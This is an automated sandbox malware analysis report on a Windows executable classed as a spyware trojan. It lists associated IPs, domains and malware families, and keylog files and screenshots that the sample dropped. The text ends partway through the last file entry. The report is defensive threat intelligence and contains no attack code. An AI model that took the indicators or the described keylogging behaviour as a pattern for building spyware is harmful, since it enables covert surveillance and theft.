Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562297
Start date and time:	2024-11-25 13:38:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	wMy37vlfvz.exe renamed because original name is a hash value
Original Sample Name:	16efabc49c172527044fbf2015d1f48531cfb7b306b98fcd5c6fc16b38c68da0.exe
Detection:	MAL
Classification:	mal100.troj.spyw.winEXE@2/19@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: wMy37vlfvz.exe

Simulations

Behavior and APIs

Time	Type	Description
07:39:56	API Interceptor	4877x Sleep call for process: wMy37vlfvz.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse
162.55.60.2	8m65n7ieJC.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	Factura modificada____678979879.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	Pago SEPA.pdf.exe	Get hash	malicious	GuLoader	Browse	showip.net/
	Lista de cotizaciones.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	New Order___________pdf.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	showip.net/
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	showip.net/
	FCGF98760900.bat.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	7rxE4s9EEG.exe	Get hash	malicious	DarkCloud	Browse	showip.net/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
showip.net	8m65n7ieJC.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Factura modificada____678979879.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Pago SEPA.pdf.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	Lista de cotizaciones.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	New Order___________pdf.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	FCGF98760900.bat.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	7rxE4s9EEG.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
s-part-0035.t-0009.t-msedge.net	Vendor Agreement Ready for Your Signature November 22 2024 at 084923 PM.msg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	XFO-E2024-013 SMP-10.3-F01-2210 Host spare parts.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
api.telegram.org	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
ACPCA	TAX INVOICE.exe	Get hash	malicious	FormBook	Browse	162.0.209.213
	yakuza.i586.elf	Get hash	malicious	Mirai	Browse	162.36.0.12
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	162.64.74.120
	HXpVpoC9cr.exe	Get hash	malicious	FormBook	Browse	162.0.211.143
	meow.arm7.elf	Get hash	malicious	Unknown	Browse	162.52.234.30
	8m65n7ieJC.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Factura modificada____678979879.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	162.0.215.33
	Pago SEPA.pdf.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	Hire P.O.exe	Get hash	malicious	FormBook	Browse	162.0.211.143

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	WNIOSEK BUD#U017bETOWY 25-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.220
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.220
	412300061474#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	Cargo Invoice_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	KAHILINGAN NG BADYET 25-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	URGENT!! DHL invoice SG00101637 Adobe#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataKatNRXIK.txt

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	429
Entropy (8bit):	4.318603957851097
Encrypted:	false
SSDEEP:	12:tD0E0E0E0E0E0E0MQZ0MQZ0MQZ0MQZ0MQZ0MQZx:tI55555566666v
MD5:	D2A71BEA81BB437FAC4CA3CDBDA29B60
SHA1:	95A392063BB3BB5233C426DDFE3B6FA9D3084736
SHA-256:	81DF32B3F782379338C6023F0751178EACB649BE9EEDB45ED272CFEDA8393CDB
SHA-512:	EFF4D833360CACC2C8A622CD1BB1E766583553DC0F794C45F43F0ECAE90EA655A6CE842E70F08A724CC38CBF1AA72EF1C45783E9538A42021E5E2A886A22D5A1
Malicious:	false
Reputation:	low
Preview:	..[07:40:24]<<Program Manager>>....[07:40:24]<<Program Manager>>....[07:40:24]<<Program Manager>>....[07:40:24]<<Program Manager>>....[07:40:24]<<Program Manager>>....[07:40:24]<<Program Manager>>....[07:40:24]<<Program Manager>>....[07:40:25]<<Program Manager>>....[07:40:25]<<Program Manager>>....[07:40:25]<<Program Manager>>....[07:40:25]<<Program Manager>>....[07:40:25]<<Program Manager>>....[07:40:25]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataQBoKXMWe.txt

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.267570709609606
Encrypted:	false
SSDEEP:	3:tSRVf1WE4g5Vf1WE4g5Vf1WE4g5Vf1WE4g5Vf0WE4g5Vf0WE4g5Vf0WE4g5Vf0Wh:tSg0Y0Y0Y0oW0oW0oW0oW0oW0oW04fx
MD5:	0FA3A6E60EB91D14D64850C2CA5A4ACA
SHA1:	DE206FB312DD9686BA6DE1E3D0CD88A8CB038D19
SHA-256:	B5B21D0AF1C5B0D6069C92E972EBB9DD1D826BB39DAA70171D5920779581740C
SHA-512:	C9A125EE1FF4C9BBD2236EEF8C65724D0BE5A5DFDAE1C3D228705146FD5F9D5CC705BFA8B0872C46E44C88D8E5DCD63C00356019DBC3CC254C6F520CFB0CD7AC
Malicious:	false
Reputation:	low
Preview:	..[07:40:46]<<Program Manager>>....[07:40:46]<<Program Manager>>....[07:40:46]<<Program Manager>>....[07:40:46]<<Program Manager>>....[07:40:47]<<Program Manager>>....[07:40:47]<<Program Manager>>....[07:40:47]<<Program Manager>>....[07:40:47]<<Program Manager>>....[07:40:47]<<Program Manager>>....[07:40:47]<<Program Manager>>....[07:40:48]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataUNbfPUtV.txt

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	396
Entropy (8bit):	4.368040864055635
Encrypted:	false
SSDEEP:	12:tYp09p09p09p0qW0qW0qW0qW0qW0qW0qW0+Zx:tY+9+9+9+44444442
MD5:	EC8E327127A5B42E242AF8366E6DC2CA
SHA1:	8BB42E80680204F0BB86FE3C579FAA3D334BE2FE
SHA-256:	331D3B7D3268D2B2223D484C87EB996EBC53ED9149547BA8C04AC8DD8C5B67D8
SHA-512:	A4E184F46AC5141972EA7896D5ADAD8C405464CE3770DCC05EE15CA2F214933DF3558D08BE102B1B39DAAFF375B253DAC8E3CDDC12F8E8A46F8C614B9E99B7D8
Malicious:	false
Reputation:	low
Preview:	..[07:41:19]<<Program Manager>>....[07:41:19]<<Program Manager>>....[07:41:19]<<Program Manager>>....[07:41:19]<<Program Manager>>....[07:41:20]<<Program Manager>>....[07:41:20]<<Program Manager>>....[07:41:20]<<Program Manager>>....[07:41:20]<<Program Manager>>....[07:41:20]<<Program Manager>>....[07:41:20]<<Program Manager>>....[07:41:20]<<Program Manager>>....[07:41:27]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataXAbtkbVC.txt

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.355892875824579
Encrypted:	false
SSDEEP:	3:tSRVfofE4g5VfofE4g5VfofE4g5VfhfE4g5VfhfE4g5VfhfE4g5VfhfE4g5VfhfP:tSy0q0q0Z0Z0Z0Z0Z0Z0Z0cpx
MD5:	05036CDB3858767FCFC4B78908A07913
SHA1:	9E340005B4D5D558B762AE26F4D0DFFFE7DBE6FC
SHA-256:	C5428B89012A7EF663A84CDD0D0EE564DA4C4179B677F17A03EF92ACB27888BB
SHA-512:	7701E149C04DD4CB95B295A2FEDD2BCFF54BE878C99A75D5950A0A4F80036FD6C2F58D64EA6D38C346C0393E11113DA3D08525333B194A2C7A9FA230818D68C0
Malicious:	false
Reputation:	low
Preview:	..[07:40:35]<<Program Manager>>....[07:40:35]<<Program Manager>>....[07:40:35]<<Program Manager>>....[07:40:36]<<Program Manager>>....[07:40:36]<<Program Manager>>....[07:40:36]<<Program Manager>>....[07:40:36]<<Program Manager>>....[07:40:36]<<Program Manager>>....[07:40:36]<<Program Manager>>....[07:40:36]<<Program Manager>>....[07:40:37]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataaUlOfcDD.txt

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6798
Entropy (8bit):	4.428720057734347
Encrypted:	false
SSDEEP:	192:39+F+W+W+W+W+W+l+l+l+l+l+l+l+s+s+s+s+s+s+s+s+z+z+z+z+z+z+6+6+6+j:39+F+W+W+W+W+W+l+l+l+l+l+l+l+s+T
MD5:	E5D0CABCEB7ECF832676D5B9CC78733D
SHA1:	35685DF144EEEA4E821C481E9B89B41BB9A98E4A
SHA-256:	926748396FACD17AC507FD53E880CEEE6DDA09AC44B0143D099B916D1B2E7EC9
SHA-512:	FDC804206459791C5CEDC37822BEBBB35C0FA7EEC749DE654E8D206D28C444072C3CB1F4D8D3A384E628C736DEF10FF700B6952A4CB433B5A42F65955CF9AF6B
Malicious:	false
Reputation:	low
Preview:	..[07:39:29]<<Program Manager>>....[07:39:32]<<Program Manager>>....[07:39:42]<<Program Manager>>....[07:39:42]<<Program Manager>>....[07:39:42]<<Program Manager>>....[07:39:42]<<Program Manager>>....[07:39:42]<<Program Manager>>....[07:39:43]<<Program Manager>>....[07:39:43]<<Program Manager>>....[07:39:43]<<Program Manager>>....[07:39:43]<<Program Manager>>....[07:39:43]<<Program Manager>>....[07:39:43]<<Program Manager>>....[07:39:43]<<Program Manager>>....[07:39:44]<<Program Manager>>....[07:39:44]<<Program Manager>>....[07:39:44]<<Program Manager>>....[07:39:44]<<Program Manager>>....[07:39:44]<<Program Manager>>....[07:39:44]<<Program Manager>>....[07:39:44]<<Program Manager>>....[07:39:44]<<Program Manager>>....[07:39:45]<<Program Manager>>....[07:39:45]<<Program Manager>>....[07:39:45]<<Program Manager>>....[07:39:45]<<Program Manager>>....[07:39:45]<<Program Manager>>....[07:39:45]<<Program Manager>>....[07:39:46]<<Program Manager>>....[07:39:46]<<Program Manager>>....[07:39:4

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatafTuSdKgn.txt

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.343150440921091
Encrypted:	false
SSDEEP:	6:tSy/W0K/0K/0K/0K/0K/0K/0K/0KF0KF0Kupx:t+0E0E0E0E0E0E0E0m0m05x
MD5:	249816B16D237A76BA71BCB559F171D7
SHA1:	393F715669B61A4DB6878C9D1CB480735814D4CA
SHA-256:	6E109F0C34C81B608FC1EBD8E5C476578D58064C801B77D63EB09C98C1A9937F
SHA-512:	7CF1625030490D737F9A885576F5AFCB775FE5D85F2FB351AEC10A2E058FEEDC65274CE1BFEC70BF4F577793BD7D884709C8719D45650B273BB191552C0BFEDC
Malicious:	false
Reputation:	low
Preview:	..[07:41:08]<<Program Manager>>....[07:41:09]<<Program Manager>>....[07:41:09]<<Program Manager>>....[07:41:09]<<Program Manager>>....[07:41:09]<<Program Manager>>....[07:41:09]<<Program Manager>>....[07:41:09]<<Program Manager>>....[07:41:09]<<Program Manager>>....[07:41:10]<<Program Manager>>....[07:41:10]<<Program Manager>>....[07:41:17]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatakmrNhWWq.txt

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.378675720057007
Encrypted:	false
SSDEEP:	6:tSa010101010101010Cf0Cf0Cf0Kx41Zx:tZ010101010101010M0M0M0CWx
MD5:	FAF866F10A29CF8DA36E5053113070CC
SHA1:	86B1009E4B8BD94EB3A0613E035F76EB04D3617E
SHA-256:	A7674EA4B609FB15741A3D09FD72710CFA2336B0A5945013A7D243B90582280D
SHA-512:	90534C897C178B764E0C20EB3BCA519B00DCA32592A6FD5CC6CDD56D3258A9CBC955D371F83D2FD07578FC6BE840EA5EEA4E23B12EB748E8B5C79B6F4426B952
Malicious:	false
Reputation:	low
Preview:	..[07:40:57]<<Program Manager>>....[07:40:58]<<Program Manager>>....[07:40:58]<<Program Manager>>....[07:40:58]<<Program Manager>>....[07:40:58]<<Program Manager>>....[07:40:58]<<Program Manager>>....[07:40:58]<<Program Manager>>....[07:40:58]<<Program Manager>>....[07:40:59]<<Program Manager>>....[07:40:59]<<Program Manager>>....[07:40:59]<<Program Manager>>....[07:41:06]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\LogqueintiseRngmeEXkkcAcRDShRzsDXooICEfirelit

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotBdeCmQqG.BMP

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.775400358539719
Encrypted:	false
SSDEEP:	12288:bysTDU5vhz9irDkIBk8UeaMVR8DkxLJbO83/gZE+2PJkVVPJ+a6jSxqkRMMUUUXb:hTevN9i7b/gkevx1bMpW1XlI
MD5:	AF1CAE3099E67268609FE04AE1F83E7F
SHA1:	4A252FA7B6CA0B3620A9A572913C07434368CC6B
SHA-256:	6CCBDE8C0F54C6851CA99BD45F97D906832365D6B13F3565CDA9FC946151B7CB
SHA-512:	2DB3DD9C847135F06ACE07497B98A9CEEB0FFF6208604B2679EA445CCCC1E136688B97803AFDE1E22D809D007919CDC132506DD60A33ADE7B5C0E5B0236030B9
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotJLHoSyQF.BMP

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.775449406385022
Encrypted:	false
SSDEEP:	12288:b2STDU5vhz9irDkIBk8UeaMVR8DkxLJbO83/gZE+2PJkVVPJ+a6jSxqkRMMUUUXb:PTevN9i7b/gkevx1bMpW1XlI
MD5:	4212AD06D5AF5F15B8129F316AB0A0EA
SHA1:	CD49960A20A36A14D48390E0297EEB64B2D9A8F8
SHA-256:	58AC81EA31CFFDB1D856221DF9B8D3D3A8136D61D2184FFE93A3E9F4E5697C10
SHA-512:	DD1E8AA96321A3132609867D92024DEA5D3521C982E7B2F84B6A73D252D39586157DC620B55D46AC3FC71D697AFAE85598036C71A204A458F43DB587C09150F5
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotLUqCdZXp.BMP

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.781535125560239
Encrypted:	false
SSDEEP:	12288:b2STDU5vhz9irDkIBk8UeaMVR8DkxLJbO83/gZE+2PJkVVPJ+a6jSxqkRMMUUUX7:PTevN9i7b/gkevx1bMpW1XVI
MD5:	5CA75E0D70A2CA06134D1BDF5D6B6046
SHA1:	B4D2352BD8192268D33C5A723ED60EBB2E19DBF5
SHA-256:	D0F55B81AF375BA8F6E06432324CA05C5F8971D78FFA627CD2D4ADC5C6FE9E80
SHA-512:	397169782C7BC76CA2365E506BF94D682E2234D7D544210B8D80D1EE992104D8946CA134A42944B45E32B86C24DD7C8B67D7BE0D65347D1056D194F03AC76555
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotYeSKsJYU.BMP

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.775400358539719
Encrypted:	false
SSDEEP:	12288:bysTDU5vhz9irDkIBk8UeaMVR8DkxLJbO83/gZE+2PJkVVPJ+a6jSxqkRMMUUUXb:hTevN9i7b/gkevx1bMpW1XlI
MD5:	AF1CAE3099E67268609FE04AE1F83E7F
SHA1:	4A252FA7B6CA0B3620A9A572913C07434368CC6B
SHA-256:	6CCBDE8C0F54C6851CA99BD45F97D906832365D6B13F3565CDA9FC946151B7CB
SHA-512:	2DB3DD9C847135F06ACE07497B98A9CEEB0FFF6208604B2679EA445CCCC1E136688B97803AFDE1E22D809D007919CDC132506DD60A33ADE7B5C0E5B0236030B9
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotgXnrOxCu.BMP

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.775449406385022
Encrypted:	false
SSDEEP:	12288:b2STDU5vhz9irDkIBk8UeaMVR8DkxLJbO83/gZE+2PJkVVPJ+a6jSxqkRMMUUUXb:PTevN9i7b/gkevx1bMpW1XlI
MD5:	4212AD06D5AF5F15B8129F316AB0A0EA
SHA1:	CD49960A20A36A14D48390E0297EEB64B2D9A8F8
SHA-256:	58AC81EA31CFFDB1D856221DF9B8D3D3A8136D61D2184FFE93A3E9F4E5697C10
SHA-512:	DD1E8AA96321A3132609867D92024DEA5D3521C982E7B2F84B6A73D252D39586157DC620B55D46AC3FC71D697AFAE85598036C71A204A458F43DB587C09150F5
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotqInhbHmB.BMP

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.775400358539719
Encrypted:	false
SSDEEP:	12288:bysTDU5vhz9irDkIBk8UeaMVR8DkxLJbO83/gZE+2PJkVVPJ+a6jSxqkRMMUUUXb:hTevN9i7b/gkevx1bMpW1XlI
MD5:	AF1CAE3099E67268609FE04AE1F83E7F
SHA1:	4A252FA7B6CA0B3620A9A572913C07434368CC6B
SHA-256:	6CCBDE8C0F54C6851CA99BD45F97D906832365D6B13F3565CDA9FC946151B7CB
SHA-512:	2DB3DD9C847135F06ACE07497B98A9CEEB0FFF6208604B2679EA445CCCC1E136688B97803AFDE1E22D809D007919CDC132506DD60A33ADE7B5C0E5B0236030B9
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotqxCnRKHO.BMP

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
